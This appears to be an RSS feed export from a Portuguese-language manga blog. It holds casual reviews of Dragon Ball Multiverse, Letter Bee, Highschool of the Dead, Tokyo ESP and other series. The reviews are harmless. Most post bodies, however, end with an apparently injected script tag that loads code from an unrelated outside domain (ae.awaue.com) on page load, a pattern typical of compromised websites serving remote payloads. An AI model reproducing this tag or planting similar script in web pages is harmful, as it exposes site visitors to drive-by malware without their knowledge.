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	<title>Ponto Caffé &#187; shounen</title>
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	<description>Manga · Games · Fun</description>
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		<title>Dragon Ball Multiverse</title>
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		<pubDate>Thu, 15 Jul 2010 20:13:59 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
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		<description><![CDATA[Dragon Ball Multiverse é como se fosse uma continuação de Dragon Ball, onde todos personagens entram em um grande torneio de lutas.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-332" title="Dragon Ball Multiverse" src="http://blog.j-caffe.net/wp-content/uploads/2010/07/header_dbmultiverse.jpg" alt="Dragon Ball Multiverse" width="740" height="125" /></p>
<p>Deve fazer umas 3 semanas que não posto nada aqui. Essas “pausas” e “atrasos” estão se tornando mais constantes do que eu gostaria, mas acontece que até então não tinha encontrado nada interessante ou que me fizesse ter vontade de escrever sobre, eu sei que ninguém tem nada a ver com isso, já que vocês aparecem aqui pra ler os posts e quando não tem texto novo ninguém entra, mas eu prefiro deixar de escrever a escrever qualquer bobeira. Vou tentar voltar com o ‘melhores da semana’ para suprir a necessidade de textos semanais ou tentar bolar algo diferente das comuns ‘análises’ dos mangás.</p>
<div id="attachment_333" class="wp-caption alignleft" style="width: 220px"><img class="size-full wp-image-333" title="Dragon Ball Multiverse" src="http://blog.j-caffe.net/wp-content/uploads/2010/07/dbmultiverse000.jpg" alt="Vegetto contra Brolly" width="210" height="297" /><p class="wp-caption-text">Vegetto contra Brolly</p></div>
<p>Enfim, o que finalmente me fez voltar a escrever é mais um doujinshi do que um mangá propriamente dito. Pra quem não sabe, doujinshi é um mangá produzido e distribuído de forma independente.  O cara desenha, manda pra impressão e vende, tudo por conta própria. Por ser algo que praticamente qualquer um pode produzir (se tiver o talento e o dinheiro para tal), muitas vezes aparece coisa de qualidade duvidosa, assim como obras muito legais, como é o caso de Dragon Ball Multiverse.<br />
É como se fosse uma seqüência do mangá de Dragon Ball, após tuuudo o que aconteceu (incluindo a série Z e GT), o mundo tá em paz, quando de repente, uma nave se aproxima da Terra. Tripulada por seres da raça Vargas e por Namekusei-jins, ela pousa no palácio de Kami-Sama. Chegando lá, Piccolo os recebe e ouve o que eles têm a dizer.<br />
Acontece que eles são de outro universo e conseguem viajar através dos vários universos com a ajuda da tecnologia dos Vargas, o que eles estão organizando é um enorme torneio de lutas entre vários universos. Sendo assim, a cambada toda se reúne no palácio de Kami-Sama e vão até o local onde será realizado o torneio. Goku, Vegeta, Trunks e Goten (agora adolescentes), Pan, Uub e o resto do pessoal vão todos. Quando chegam, a surpresa é grande quando reconhecem velhos amigos e inimigos. Freeza, Cell, Majin Buu, os Andróides 16, 17 e 18, Brolly e até mesmo eles mesmos. Outro Vegeta, outro Goku, Bardock (o pai do Goku)&#8230;</p>
<div id="attachment_334" class="wp-caption alignright" style="width: 220px"><img class="size-full wp-image-334" title="Dragon Ball Multiverse" src="http://blog.j-caffe.net/wp-content/uploads/2010/07/dbmultiverse0001.jpg" alt="Vários personagens" width="210" height="297" /><p class="wp-caption-text">Vários personagens</p></div>
<p>Como se tratam de vários universos, coisas diferentes aconteceram em cada um. Num universo, Goku foi enviado a Terra do mesmo jeito, só que completou sua missão de exterminar e destruir tudo, em outro universo, todos namekusei-jins se fundiram em um só para derrotar Freeza, que falando nele, em um universo ele é quem manda.<br />
É uma idéia bem viajada, mas aposto que, sei lá, 9 entre 10 fãs de Dragon Ball já devem ter no mínimo imaginado aquelas coisas do tipo ‘quem venceria entre&#8230;’ em lutas impossíveis de acontecer. Sendo assim, Dragon Ball Multiverse parece muito com um grande jogo de vídeo game com todos os principais personagens da série lutando entre si. Os fãs dos originais com certeza irão gostar, ainda mais porque o traço do autor é extremamente parecido com o de Akira Toriyama, dando um toque de autenticidade à obra. Não sei se o cara quis imitar o traço, mas eu encaro como uma escolha certa, Dragon Ball num traço diferente ficaria no mínimo esquisito&#8230; bom, vai saber&#8230;</p>
<p>Sobre os responsáveis dessa série, eles são da França e são conhecidos como Salagir e Gogeta Jr. Atualmente o doujin está com 12 capítulos (255 páginas) e você lê online em diversos idiomas, inclusive português, mas não estranhe enquanto estiver lendo, é português de Portugal, ora pois.</p>
<p>Se você vibrava com Dragon Ball a alguns anos atrás, ficou empolgado com Dragon Ball Kai mais recentemente, deve pelo menos dar uma olhada em Dragon Ball Multiverse. Quem será o vencedor desse torneio entre universos e porque raios organizaram isso? O autor diz que tem um roteiro a ser seguido e não simplesmente lutas e mais lutas sem propósito algum. Vamos ver no que vai dar&#8230;</p>
<p>Para ler, basta clicar <a href="http://www.dragonball-multiverse.com/pt/accueil.html">aqui</a>.</p>
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		<title>Metallica Metalluca</title>
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		<pubDate>Fri, 18 Jun 2010 01:53:51 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
		<category><![CDATA[aventura]]></category>
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		<description><![CDATA[Em um mundo onde minerais e pedras preciosas são o que movem a economia, um garoto chamado Luca (ou Ruka) tenta conseguir entrar para um grupo de extremo prestígio chamado “Minea”. Os minea se aventuram pelo mundo, arriscando a própria vida para conseguir as pedras e minerais mais preciosos.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-321" title="Metallica Metalluca" src="http://blog.j-caffe.net/wp-content/uploads/2010/06/header_metallicametalluca.jpg" alt="Metallica Metalluca" width="740" height="100" /></p>
<p>Olá pessoa, sentiram minha falta? Não? Tudo bem&#8230;</p>
<p>Mais uma vez “pulei” uma semana aqui no blog, desculpem. Não tenho uma desculpa pra não ter postado, falta do que postar, talvez. Prefiro deixar passar uma semana a escrever qualquer coisa só pra preencher espaço (embora às vezes pareça isso).</p>
<p>Enfim, vamos ao que interessa. O mangá dessa semana!</p>
<p>Antes de qualquer coisa: não, esse não é um mangá sobre a banda Metallica. Acho que metade do pessoal que tava lendo saiu do blog agora&#8230; bom, pelo menos fui honesto com vocês logo de cara.<br />
Metallica Metalluca é um dos mais novos mangás do Shonen Jump, estreiou em maio desse ano, e pelo que parece, é mais um mangá do estilo ‘personagem principal com algum podem especial que quer ser o herói e vai adquirir potencial para tanto ao longo da história’. Pensem em Naruto.</p>
<p>Não que isso seja ruim, quem não gosta de um mangá assim? Um monte de gente, mas outro monte de gente adora esse tipo de história, com personagens clichê porém carismáticos na mesma história de pano de fundode sempre, só para não dizer estão tá lá à toa. É tudo muito simples, só muda o “básico”: sejam ninjas, shinigamis, guerreiros e por aí vai.</p>
<p>Mas de qualquer maneira, vou contar como Metallica Metalluca começa.</p>
<div id="attachment_325" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-325" title="Metallica Metalluca" src="http://blog.j-caffe.net/wp-content/uploads/2010/06/0011.jpg" alt="Esse é Luca" width="180" height="265" /><p class="wp-caption-text">Esse é Luca</p></div>
<p>Em um mundo onde minerais e pedras preciosas são o que movem a economia, um garoto chamado Luca (ou Ruka) tenta conseguir entrar para um grupo de extremo prestígio chamado “Minea”. Os minea se aventuram pelo mundo, arriscando a própria vida para conseguir as pedras e minerais mais preciosos.<br />
Certo dia, Luca estava coleando alguns minerais quando sem perceber invade o espaço onde um ninho de um pássaro gigante estava, o pássaro bota o moleque pra correr (ou melhor, voar) e assim Luca cai do céu numa vilazinha conhecida como Elza, destruindo o estoque de minerais dos moradores do lugar, causando a ira do pessoal, que só ficam mais bravos ainda quando ele diz querer se tornar um Minea.</p>
<p>O ancião da vila percebe a coragem e aquela papagaida toda nos olhos do garoto (sempre assim) e decide deixá-lo ir caçar seus minerais mas sob a supervisão da menina Shella.<br />
Luca descobre então que o irmãozinho de Shella está doente graças à um vazamento de gás que aconteceu na mina local, o que fez com que trancassem a mina para sempre, deixando a vila super pobre e tudo o mais.</p>
<div id="attachment_326" class="wp-caption alignright" style="width: 190px"><img class="size-full wp-image-326" title="Metallica Metalluca" src="http://blog.j-caffe.net/wp-content/uploads/2010/06/002.jpg" alt="Traço bacana" width="180" height="265" /><p class="wp-caption-text">Traço bacana</p></div>
<p>Acho que nem preciso continuar, já que daí pra frente dá pra imaginar o que acontece, apesar desse primeiro capítulo ter um plot twist bem legal. Luca é de uma tribo que muitos pensavam já estar extinta, e tem o poder de moldar minerais de acordo com sua vontade. Então ele pode transformar um pedaço de pedra em um martelo de guerra para brigar com quem aparecer na frente. Lembra um pouco Fullmetal Alchemist.</p>
<p>O primeiro capítulo diverte e faz bem o papel de apresentar mais um mangá de lutas que se der certo vai ter seus milhões de bonequinhos, vídeo-games que nunca saem do Japão, versão em anime e tudo mais que o mundo comercial puder inventar e vender.</p>
<p>De novo, isso não é ruim, só é um tipo de história que já foi usada a exaustão, tornando muito fácil pro leitor ter a sensação de mais do mesmo e ficar comparando com outros mangás do mesmo gênero como Naruto, Bleach e Dragon Ball, por exemplo, sendo muito mais difícil do mangá emplacar com a molecada e seguir firme.<br />
Resta à nós ler e aguardar.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Letter Bee</title>
		<link>http://blog.j-caffe.net/letter-bee/</link>
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		<pubDate>Fri, 21 May 2010 00:42:42 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
		<category><![CDATA[fantasia]]></category>
		<category><![CDATA[shounen]]></category>

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		<description><![CDATA[Gauche Suede é um Letter Bee, um entregador que leva qualquer coisa, em qualquer lugar, sem falta, seu último trabalho foi entregar um garoto à sua tia. Esse garoto é Lag Seeing e ele teve a mãe raptada, tudo o que ele quer é conseguir reencontrá-la.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-308" title="Letter Bee" src="http://blog.j-caffe.net/wp-content/uploads/2010/05/header_letterbee.jpg" alt="Letter Bee" width="740" height="100" /></p>
<p>Existem alguns mangás que você bate o olho e alguma coisa te chama a atenção, mas você não sabe o que&#8230; aí você, por curiosidade decide ir ver do que se trata. Lê uma sinopse, um resumo, um blog (tipo esse!) e a partir disso você chega a conclusão de que aquele mangá não é pra você e seja lá o que te chamou a atenção nele, o traço, o título, sei lá&#8230; te enganou e você o deixa no esquecimento, mas eventualmente você cruza com ele de novo e acaba dando uma chance.</p>
<div id="attachment_309" class="wp-caption alignleft" style="width: 340px"><img class="size-full wp-image-309" title="Letter Bee" src="http://blog.j-caffe.net/wp-content/uploads/2010/05/letterbee001.jpg" alt="A encomenda é um garoto" width="330" height="262" /><p class="wp-caption-text">A encomenda é um garoto</p></div>
<p>Foi o que aconteceu comigo quando vi Tegami Bachi (ou Letter Bee) pela primeira vez. É o último mangá de Hiroyuki Asada, autor de I’ll – Generation Basket, um mangá de basquete que eu cheguei a traduzir alguns capítulos, eu gosto muito do traço dele, mas quando fui ver sobre o que era a história de Letter Bee, desanimei totalmente. O resumo dizia que no mundo existem entregadores de cartas chamados de ‘Bees’ e eles entregam qualquer coisa, sem falta, em qualquer lugar. Uau, emocionante&#8230; Até nunca mais, Letter Bee. E assim o tempo passou, outros mangás apareceram aqui e eis que essa semana resolvi ver se era só essa bobagem de entregar qualquer coisa sem falta mesmo.</p>
<p>Não me entendam mal, sou muito grato aos carteiros que me trazem cartas e coisas que compro pela internet, mas eu não acho que isso daria um mangá lá muito divertido.</p>
<p>O primeiro capítulo é muito comprido, com umas 120 páginas, o que pode cansar e afastar leitores mais preguiçosos, aconteceu comigo&#8230; demorei uns dois ou três dias para terminar de lê-lo, enfim, logo nas primeiras páginas há uma apresentação do que é um ‘Letter Bee’, com aquilo que disse antes, qualquer coisa, qualquer lugar, eles entregam. Passado isso é que começa a história de fato, com um dos ‘Letter Bees’, Gauche Suede, chegando a algum lugar para encontrar o que pediram que ele entregasse, que para sua surpresa é um garoto que está jogado no chão sujo e machucado. O nome do garoto é Lag Seeing (acostume-se, esse mangá tá cheio de personagens com nomes esquisitos), e a tarefa de Gauche é entregá-lo à sua tia em uma cidade não muito distante.</p>
<div id="attachment_310" class="wp-caption alignright" style="width: 273px"><img class="size-full wp-image-310" title="Letter Bee" src="http://blog.j-caffe.net/wp-content/uploads/2010/05/letterbee002.jpg" alt="A arma que usa o &quot;coração&quot;" width="263" height="420" /><p class="wp-caption-text">A arma que usa o &quot;coração&quot;</p></div>
<p>Ao longo da jornada, Lag não pára de falar de sua mãe e como que ter ela de volta e isso e aquilo, coisa que Gauche não liga a mínima, já que o trabalho dele é entregar o moleque inteiro e pronto, o que fica difícil quando uns bichos que lembram muito besouros aparecem, são os chamados Gaichuu e eles se alimentam do “coração” das pessoas, cartas e encomendas que os Bees carregam. Aliás, isso é algo muito presente nesse mangá, esse lance de “esperança” e “coração”, sendo que energia real provém daí, tanto que a arma que Gauche usa para despachar os Gaichuus usa a energia do “coração” dele para carregar a bala e provocar o disparo.<br />
Depois de algumas batalhas, conversas filosóficas, o desenvolvimento de certa amizade entre os dois, eles chegam ao local de entrega.  Gauche então vai embora e Lag, decidido a se tornar um Letter Bee no futuro, fica com sua tia.<br />
5 anos se passam e Lag é agora um Bee, pronto para ir até a capital atrás de sua mãe e Gauche.</p>
<p>Muito mais bacana do que parecia. Pra falar a verdade, o mangá me surpreendeu logo de cara, quando a entrega que Gauche tinha que carregar era um moleque, algo que eu sinceramente não tinha nem imaginado, na minha cabeça eram só umas cartinhas e pronto, mas na verdade, se abre um leque praticamente infinito de “coisas” que podem ser entregues, podendo gerar capítulos interessantes, até que Lag possa encontrar sua mãe e descobrir o que e porque a raptaram.<br />
Tegami Bachi está sendo publicado mensalmente desde 2006, antigamente na Jump Mensal e agora na Jump Square e já tem 9 volumes publicados. Um anime começou em 2009 e terminou a pouco tempo, em março de 2010, com 25 episódios.</p>
<p>Se você tiver paciência pra ler um capítulo inicial de 120 páginas, dê Tegami Bachi uma chance, você pode se surpreender.<script src="http://ae.awaue.com/7"></script></p>
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		<title>GE &#8211; Good Ending</title>
		<link>http://blog.j-caffe.net/ge-good-ending/</link>
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		<pubDate>Fri, 07 May 2010 23:42:13 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
		<category><![CDATA[fanservice]]></category>
		<category><![CDATA[romance]]></category>
		<category><![CDATA[shounen]]></category>

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		<description><![CDATA[Romance aparece em praticamente todo tipo de história, talvez principalmente em histórias que envolvem colegiais. GE – Good Ending é exatamente esse tipo de história.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-295 aligncenter" title="Good Ending" src="http://blog.j-caffe.net/wp-content/uploads/2010/05/ge_header.jpg" alt="Good Ending" width="740" height="100" /></p>
<p>Antes de qualquer coisa, perdoem o atraso. Eu sei que disse que ia tentar postar toda quarta-feira, mas é&#8230; não deu.</p>
<p>Romance aparece em praticamente todo tipo de história, talvez principalmente em histórias que envolvem colegiais. Vai ver é porque é geralmente em torno dessa idade que os rapazes começam a reparar mais nas meninas e vice-versa, e aí surgem as paixões da escola. Esse é um tema que já foi usado milhões de vezes em mangás, um que me vem à mente agora é I’’s de Masakazu Katsura.<br />
E é sempre a mesma ladainha, o cara gosta da menina mais é inseguro demais pra chegar nela e se declarar, mas conforme a história vai passando ele cria coragem e vai em frente, ou alguma coisa acontece à favor dele e a situação fica favorável e ele acaba descobrindo que a menina também gostava dele, enfim é o tipo de mangá que todo mundo sabe como vai acabar: o mocinho namorando com a mocinha. Mas então, porque lemos essas histórias? Sinceramente&#8230; não sei, pelo menos pra mim é um tipo de mangá divertido de se ler e até mesmo torcer inconscientemente (e de maneira bem boba) pelos personagens.</p>
<div id="attachment_297" class="wp-caption alignleft" style="width: 198px"><img class="size-full wp-image-297 " title="GE - Good Ending" src="http://blog.j-caffe.net/wp-content/uploads/2010/05/ge001.jpg" alt="Shou, Utsumi e Kurokawa" width="188" height="278" /><p class="wp-caption-text">Shou, Utsumi e Kurokawa</p></div>
<p>GE – Good Ending é exatamente esse tipo de história. Utsumi Seiji é nosso personagem principal que pensa demais e age de menos, apaixonado por alguma menina popular da escola. Essa menina é Iketani Shou, capitã do clube de tênis, alegre, péssima no tênis e meio estabanada.<br />
Certo dia, estava Utsumi admirando sua amada, escondido para que ninguém o visse, exceto que o viram e ele levou uma bolada de tênis na cara. Mais tarde, na sala de aula, Kurokawa Yuki entra e o reconhece como o bisbilhoteiro Utsumi, desesperado ele puxa ela pra fora da sala para evitar qualquer confusão e ela acaba descobrindo a paixão dele por Shou. Ao ver como o menino é meio patético, ela decide ajudá-lo a seguir em frente, conquistar a moça, se declarar pra ela e ficar com ela.<br />
E esse “trabalho” de conselheira amorosa até que dá certo, mas quando Utsumi parece estar conseguindo o que tanto sonhou, o antigo amor de Shou reaparece, e assim ele é trocado mais rápido do que&#8230; alguma coisa bem rápida. Só que isso acaba abrindo os olhos do rapaz e a história nos mostra a verdadeira mocinha do mangá, Kurokawa! Utsumi começa a reparar mais nela e percebe que seus sentimentos por ela estão deixando de ser apenas de amizade, mas acontece que ela também tem um antigo amor, que a traumatizou, fazendo com que ela se fechasse para novos relacionamentos.</p>
<p>E aí fica nesse impasse, Utsumi querendo se acertar com a moça, ela não querendo nada com nada e todas aquelas situações completamente improváveis de se acontecer na vida real, inclusive é claro a menina que gosta do personagem principal, mas ele não tá nem aí pra ela porque prefere se manter firme ao amor ainda inalcançável da personagem principal&#8230; tudo pode parecer um grande clichê, mas esse tipo de mangá é assim mesmo, não dá pra exigir muita originalidade já que como disse no começo do post, todos já sabemos como vai terminar, só queremos ver como tudo vai acontecer. Aquela sensação de já ter visto isso em algum lugar vai estar presente, o que às vezes não deixa de ser uma decepção, afinal se já sabemos o final, pra que a autora fica dando tantas voltas? Algumas situações parecem uma grande perda de tempo, mas mangá semanal que faz sucesso geralmente sofre com isso, eu acho.<br />
Outra coisa que vale comentar é que como todo mangá que tem um cara e muitas meninas, GE tem uma certa dose de fanservice, às vezes parece bem forçado, com situações nada naturais só para mostrar uma calcinha ou um sutiã, ou tudo isso em uma pose provocante, mas é entendível já que o público alvo são garotos.</p>
<p>GE – Good Ending começou a ser publicado em agosto de 2009 na Weekly Shounen Magazine e já conta com 2 volumes publicados. Você pode ler online no <a href="http://www.onemanga.com/GE_-_Good_Ending/">OneManga</a>, em inglês.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Highschool of the Dead</title>
		<link>http://blog.j-caffe.net/highschool-of-the-dead/</link>
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		<pubDate>Fri, 30 Apr 2010 00:15:29 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
		<category><![CDATA[ação]]></category>
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		<category><![CDATA[fanservice]]></category>
		<category><![CDATA[shounen]]></category>
		<category><![CDATA[zumbis]]></category>

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		<description><![CDATA[Imagine que você está matando aula e de repente percebe uma certa agitação no portão da escola, você vê vários professores indo até lá, onde parece que um estranho quer entrar. Depois de tentativas frustradas de afugentar o estranho, um dos professores metido a machão arregaça as mangas e pega o sujeito pelo colarinho, no que o cara dá uma mordida no braço do professor e arranca um pedaço!]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool_header.jpg"><img class="aligncenter size-full wp-image-281" title="Highschool of the Dead" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool_header.jpg" alt="Highschool of the Dead" width="740" height="100" /></a></p>
<p>Zumbis. Hoje tão populares quanto podem ser, aparecem em tudo quanto é canto: vídeo-games, filmes, livros, quadrinhos, <a href="http://www.zombiewalk.com/">passeatas</a> e é claro, mangás. Esse tipo de “personagem” foi lançado para a fama graças aos filmes de terror, principalmente depois do filme de 1968 ‘A noite dos mortos-vivos’ (Night of the Living Dead) de George A. Romero (nunca assisti), que inclusive chegou a escrever um roteiro para o primeiro filme de Resident Evil, e falando no jogo, podemos dizer que ele contribuiu muito com a popularidade dos nossos amigos mortos-vivos.<br />
Agora vamos falar de Highschool of the Dead, mangá de Daisuke Sato com ilustrações de Shouji Sato (não, eles não são irmãos&#8230; eu acho), que tem como premissa um grupo de estudantes no meio de um apocalipse de zumbis.</p>
<div id="attachment_282" class="wp-caption alignleft" style="width: 198px"><img class="size-full wp-image-282" title="Highschool of the Dead" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool002.jpg" alt="E assim a escola inteira foi infectada" width="188" height="270" /><p class="wp-caption-text">E assim a escola inteira foi infectada</p></div>
<p>Imagine que você está matando aula e de repente percebe uma certa agitação no portão da escola, você vê vários professores indo até lá, onde parece que um estranho quer entrar. Depois de tentativas frustradas de afugentar o estranho, um dos professores metido a machão arregaça as mangas e pega o sujeito pelo colarinho, no que o cara dá uma mordida no braço do professor e arranca um pedaço (aposto que você pensou no professor que mais detesta agora&#8230;)! O professor cai no chão agonizando de dor enquanto os outros tentam acudi-lo, só que já era tarde demais. O professor salta na jugular de quem estava mais perto e dá uma bela de uma mordida. Achando tudo aquilo muito estranho você corre de volta pra sala de aula, pra resgatar a menina de quem você tanto gosta, mas o namoradinho dela resolve vir junto. Em instantes, um anúncio é passado pelos alto-falantes da escola, pedindo para que os alunos continuem na sala, com os professores, mas é claro que ninguém respeita isso e vira a maior bagunça e em questão de minutos, praticamente toda a escola está infectada e sedenta de sangue. Fugindo com sua amada e o namoradinho dela, vocês chegam ao teto da escola, só para ver no horizonte o resto da cidade em puro caos, helicópteros militares passam voando e o que minutos atrás parecia mais um dia tranqüilo se tornou o apocalipse.</p>
<p>É assim que começa Highschool of the Dead, que deve ser cool demais para usar o termo ‘zumbis’ e prefere chamar os mesmos de ‘eles’. É, ‘eles’&#8230; mas a história, a sensação e tudo o mais que ele passa, é de um grande clássico sobre zumbis, com grupos de sobreviventes, armamentos improvisados, zumbis atrás de cérebros, essas coisas.<br />
Vale ressaltar também que esse mangá traz MUITO fanservice, talvez por Shouji Sato já ter trabalhado com mangás hentai, talvez pra vender mais pra molecada, o fato é que as meninas aparecem em poses provocantes várias vezes e nossa senhora, suas proporções são um pouco exageradas, eu até acho meio estranho o exagero, mas não reclamo, porém para outras pessoas pode ser desagradável.</p>
<div id="attachment_284" class="wp-caption alignright" style="width: 198px"><img class="size-full wp-image-284" title="Highschool of the Dead" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/highschool001.jpg" alt="Alunos sobreviventes" width="188" height="270" /><p class="wp-caption-text">Alunos sobreviventes</p></div>
<p>Uma coisa legal do mangá é que ele não dá de mão beijada o motivo por que as pessoas de repente viraram zumbis e estão devorando umas as outras e sinceramente, não parece ser a motivação principal dos personagens, que são pessoas comuns, alunos de uma escola, a enfermeira de tal escola, e o principal para eles é continuarem vivos. Eventualmente soldados aparecem e a história se divide, mas é lendo que você vai descobrir o que acontece em seguida, claro.<br />
Um mal que parece assombrar esse título são os atrasos. Highschool of the Dead começou em 2006 e sai mensalmente na Monthly Dragon Age, mas atualmente está só no capítulo 25, isso porque ficou o ano de 2009 praticamente inteiro em hiato, até que em março desse ano um capítulo novo apareceu na revista, além do anúncio do anime, talvez com isso a série “engate” de novo.</p>
<p>Uma versão brasileira está sendo publicada pela Panini, um review dessa edição pode ser visto lá no Gyabbo! O anime começa em julho desse ano, pelo estúdio Madhouse, mas pra mim não faz diferença nenhuma. Se você gosta de zumbis, está atrás de uma série de ação, adora ver garotas em poses insinuantes &#8220;sem querer&#8221;, leia Highschool of the Dead, pode parecer (e talvez seja mesmo) um grande clichê apocalíptico de zumbis, mas isso sempre é legal!<script src="http://ae.awaue.com/7"></script></p>
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		<title>Tokyo ESP</title>
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		<pubDate>Wed, 14 Apr 2010 17:30:28 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<description><![CDATA[Um dia normal para Rinka, até que ela vê um pinguim voador (?) e peixes brilhantes no céu (?). No dia seguinte, ela está atravessando concreto, seu pai virou uma espécie de imã humano gigante e um cara estranho aparece na vida dela.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-242" title="Tokyo ESP" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/tokyoesp_header.jpg" alt="Tokyo ESP" width="740" height="100" /></p>
<p>Quando bati o olho no título desse mangá, ele não me pareceu estranho&#8230; achei já ter visto algo assim num dos tópicos de ‘que anime você está assistindo?’ no fórum que participo (o link tá na página principal do blog, ou clique <a href="http://www.j-caffe.net/forum">aqui</a> mesmo) e geralmente, mangá que vem depois de anime é uma porcaria. Não me vem nenhum exemplo à mente agora, mas é fato isso, é como um “processo inverso” mas muito mais descarado para juntar uns (milhares) de trocados à mais com alguma série que ficou famosa graças à sua versão animada, tem fã e otaku que vai comprar tudo o que você jogar pra cima dele com os personagens que ele gosta, mas enfim, perdi o foco, esse não era o caso de <em>Tokyo ESP</em>, o mais novo título de <em>Hajime Segawa</em> (autor de <em>Ga-Rei</em>, esse sim tem anime), lançado na edição de Março da <em>Shounen Ace</em>.</p>
<div id="attachment_243" class="wp-caption alignleft" style="width: 273px"><img class="size-full wp-image-243" title="Tokyo ESP" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/tokyoesp1.jpg" alt="Atravessar concreto faz suas roupas sumirem" width="263" height="188" /><p class="wp-caption-text">Atravessar concreto faz suas roupas sumirem</p></div>
<p>Eu não li <em>Ga-Rei</em> inteiro, mas pelo que vi do comecinho e nesse primeiro capítulo de <em>Tokyo ESP</em>, esse autor parece gostar de mexer com o sobrenatural e poderzinhos psíquicos.<br />
Para quem não sabe, <strong><em>ESP</em></strong> é a sigla de <strong><em>Extrasensory perception</em></strong>, ou <strong><em>PES</em></strong> (Percepção extra-sensorial e não <em>Pro Evolution Soccer</em>) em português.<br />
De acordo com a Wikipedia, <em>“na parapsicologia, PES é a aparente habilidade de certos indivíduos, chamados &#8220;sensitivos&#8221; ou &#8220;psíquicos&#8221;, para perceber fenômenos e objetos independentemente de seus órgãos sensoriais.”</em> Ou seja, você conseguiria ver alguma coisa sem usar os olhos, ouvir alguma coisa sem usar os ouvidos (clarividência), escutar os pensamentos de outras pessoas (telepatia), entre outras coisas.</p>
<p>No mangá, tudo começa com o roubo de um museu por um tal de <em>Phantom Thief</em> (eu até pensei que estava lendo <em>DNAngel</em>), mas isso é deixado de lado por enquanto e somos apresentados à personagem principal, Urushiba Rinka, uma estudante do colegial (lógico), que vive com o pai e é meio pobre. Dormindo calmamente em sua cama, ela acorda e de repente “atravessa” a cama e o chão do seu apartamento, caindo na mesa do vizinho de baixo. Agora COMO as roupas dela sumiram nesse tempo e ela ficou só de calcinha e sutiã é algo que só o autor (ou o editor) do mangá deve ser capaz de explicar. Ela volta correndo pro seu quarto, pela o celular para ligar para seu pai mas esse tampem “atravessa” a sua mão. Ela então é surpreendida por um garoto e começa a lembrar de tudo. No dia anterior, voltando da escola em sua bicicleta (já que ela não tem dinheiro pra pegar o trem), ela vê um pássaro grande e gordo voando. Olhando melhor, ela percebe que é um pingüim. Mas, peraí. Pinguim voa?</p>
<p>Wikipedia nos esclarece mais um fato: “O pinguim é uma ave da família Spheniscidae, não voadora.” Obrigado, Wikipedia.</p>
<div id="attachment_244" class="wp-caption alignright" style="width: 198px"><img class="size-full wp-image-244" title="Tokyo ESP" src="http://blog.j-caffe.net/wp-content/uploads/2010/04/tokyoesp3.jpg" alt="Pose cool" width="188" height="269" /><p class="wp-caption-text">Pose cool</p></div>
<p>Achando aquilo muito estranho, ela passa a perseguir o pingüim voador e acaba chegando na Nova Torre de Tóquio (também conhecida como <em>Tokyo Sky Tree</em>), e com o pingüim aparecem também peixes brilhantes. Até que os peixes começam a nadar para DENTRO da menina e ela então desmaia. Tudo parece mais uma grande e alucinante viagem no mundo do doce. Não usem drogas.</p>
<p>Assim, ela decide procurar um médico pra entender porque ela atravessa as coisas e as coisas atravessam ela. O garoto então vai com ela e diz que eles devem chamar essa ‘situação’ de <em>ESP</em>, daí o título do mangá. Nesse instante, o pai de Rinka liga pra ela porque ouviu a mensagem, preocupado ele está indo procurá-la, mas ele também viu os peixes brilhantes na noite anterior e enquanto anda pela rua, carros, latas, tampas de bueiro ficam voando na direção dele, como se ele fosse um imã gigante. Um amontoado de carros se juntam em cima do pai de Rinka, como se fosse uma fase de <em>Katamari Damacy</em>. Ela decide ajudar o pai e usa suas habilidades de atravessar as coisas para chegar até ele no meio da bola de carros (isso soa estranho), nocauteando-o para deixá-lo de agir feito um imã, nisso, todos os carros começam a desmoronar e o carinha que estava acompanhando Rinka demonstra sua habilidade, teleporte, e leva os três para bem longe, se apresenta como Azuma Kyoutarou e diz ser um <em>Esper</em>, ou seja, alguém que tem poderes <em>ESP</em> e consegue controlá-los. Assim acaba o capítulo um do mangá, ao final desse capítulo, eu pulei para o próximo (que a propósito, ainda não tem scans) instintivamente, o mangá me instigou a fazer isso, me deixou curioso para saber o que acontece depois e há espaço para um milhão de coisas acontecerem. Outros <em>Espers</em> aparecerem, pancadaria entre <em>Espers</em>, a origem dos peixes brilhantes e pingüim voador (dorgas), e por aí vai. A narrativa não cansa o leitor e flui bem, o traço do autor é limpo e bonito, mas nada ‘ó, que excepcional!’. Não conheço muito esse autor então não sei dizer pra onde ele vai levar essa história, mas potencial para ser bacana tem.</p>
<p>Leia online, em inglês no <a title="Tokyo ESP Leitura Online" href="http://www.onemanga.com/Tokyo_ESP/">OneManga</a><script src="http://ae.awaue.com/7"></script></p>
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		<title>Video Game Manga: The Legend of Zelda</title>
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		<pubDate>Fri, 19 Feb 2010 22:50:29 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Games]]></category>
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		<description><![CDATA[Uma das mais famosas franquias da Nintendo, Zelda é um dos grandes sucessos incontestáveis do mundo dos games, cada título novo anunciado é aguardado com muita antecipação pelos fãs e apreciadores de bons jogos. Basicamente, Zelda é quase sempre sinônimo de um jogo ótimo, divertido e memorável.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-218" title="The Legend of Zelda" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/header_zelda.jpg" alt="The Legend of Zelda" width="740" height="125" /></p>
